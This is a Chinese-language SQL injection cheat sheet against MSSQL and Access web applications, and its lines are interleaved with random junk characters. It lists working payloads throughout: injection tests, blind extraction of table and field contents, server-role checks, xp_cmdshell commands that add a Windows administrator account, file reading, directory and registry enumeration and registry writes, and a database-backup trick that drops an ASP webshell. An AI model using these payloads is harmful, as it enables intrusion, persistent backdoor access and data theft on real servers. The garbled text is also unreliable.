1.判断是否有注入;and 1=1 ;and 1=2 *>zr'Tt,W
2.初步判断是否是mssql ;and user>0 7@|(z:uw
6e/ 2X<O
3.注入参数是字符'and [查询条件] and ''=' K|E}Ni
F(}d|z@@
4.搜索时没过滤参数的'and [查询条件] and '%25'=' X62z>mM
y!
7;Z~"
5.判断数据库系统 'I*F(4x
(\,mA-%E
;and (select count(*) from sysobjects)>0 mssql =`Nnd@3v
~Og'IRf
;and (select count(*) from msysobjects)>0 access IiS1ubNtZ
:n{rVn}G
@ U:WWTzf
sw8Ic\vT
6.猜数据库 ;and (select Count(*) from [数据库名])>0 o#Rao#bD:
UYGl
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 5qR76iH)/
,5H$Tm,6\S
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ayHI(4!$j
FL"I PX;S
9.(1)猜字段的ascii值(access) 1m|1eAGS{
PBR+NHrZ
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 H Viu7kue`
1K4LEga`
(2)猜字段的ascii值(mssql) QWxCNt:^?
E+UOuf*(
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 k;l^wM
&3S;5{7_e
10.测试权限结构(mssql) Y=/HsG\W]
!\RR UH*
^4c2}>f
;@
%~eIlu
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- >0T0K`o
l4v)tV~
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- W>/O9?D
yV=hi?f-[V
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- R-bICGSE
^7~=+0cF]
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 82efqzT
W^P%k:anK
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- .@ /5Ln
kSoAnJ|
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- N
y7VIh|
%t:1)]2
;and 1=(select IS_MEMBER('db_owner'));-- pjrVPi5&t
x.>z2.
K;gm^
C} Ewi-
11.添加mssql和系统的帐户 @X
LHR%dt|M
;exec master.dbo.sp_addlogin username;-- wC..LdSR
;exec master.dbo.sp_password null,username,password;-- 12;"K?7{
d cYUw]
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 4,wdIdSm4
(gs"2
;exec master.dbo.xp_cmdshell 'net user username password ,R3D
,t(y~Z
wJ
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- rQ@,Y"
|o|0qG@g
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ,r:.
3.
([`-*Hy
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- W5EB+b49KM
3,S5>~R=
`{ou4H\
\[+ZKj:
12.(1)遍历目录 80c\O-{
i!ejK6Q
;create table dirs(paths varchar(100), id int) r]kLe2r:B
Z!^iPB0~D
;insert dirs exec master.dbo.xp_dirtree 'c:\' d+[hB4!l2
YmNBtGhT
;and (select top 1 paths from dirs)>0 W(a=ev2sa
oRmN|d ~4
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) M I/9?B
qf(!3
G{YJ(6etZ
%l5Uy??Z
(2)遍历目录 A!W(>
SN\;&(?G
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- =DcKHL(m
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 P;mmK&&
)7*Apy==x
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 f)?s.DvUB
9Z6O{
>
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Z:u7`%
AIN_.=]"?
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ~^KemwogPN
/8Ca8Ju
`SFI\Y+WDT
&yp_wW-
13.mssql中的存储过程 y[.0L!C {
q J@XVN4
xp_regenumvalues 注册表根键, 子键 "<txg%j\J
_ N.ZpKVu
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 hXmW,+1
y3))I\QT
xp_regread 根键,子键,键值名 U3ED3)
D
UXR$ 7<D+
;exec xp_regread pV:X_M6
CdC&y}u
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 uRxo,.}c
,.x1+9X
xp_regwrite 根键,子键, 值名, 值类型, 值 ceyZ4M
Mpb|qGi!
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 vb\ UP&Ip
Ub4j3`
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 j]M$>2;
eiJ $}\qJL
xp_regdeletevalue 根键,子键,值名 !xA;(<K[^
@]gP"Pp
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 !C&}e8M|eX
YDz:;Sp\
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 o%RyE]pw,
AL3zE=BL
{[NBTT9&
svHs&v
14.mssql的backup创建webshell dl;^sn0s
G %Wjtrpj
use model )Uo)3FAn
wRi!eN?
create table cmd(str image); -]A,SBs
sMs 0*B-[
insert into cmd(str) values (''); P)7SK&]r;=
P9SyQbcK
backup database model to disk='c:\l.asp'; D}&U3?g=
tb"UGa
v`*!Bhc-
u01x}Ff~6
15.mssql内置函数 tg7%@SI5^-
?2aglj*"v,
;and (select @@version)>0 获得Windows的版本号 B14z<x}Q
PZ
AyHXY
;and user_name()='dbo' 判断当前系统的连接用户是不是sa P!0uAkt9C
CRw.UC\
;and (select user_name())>0 爆当前系统的连接用户 !QSL8v@c
0\k2F,:%4
;and (select db_name())>0 得到当前连接的数据库 3.xsCcmP
F
MHpa
6Y`eYp5A
;Ze}i/l
16.简洁的webshell )8!""n~
9V9K3xWn
use model =NQDxt}
5,Mc`IIK1
create table cmd(str image); zr-HL:js
`!K(P- yB?
insert into cmd(str) values (''); )4bBR@QM
7:)=
backup database model to disk='g:\wwwtest\l.asp';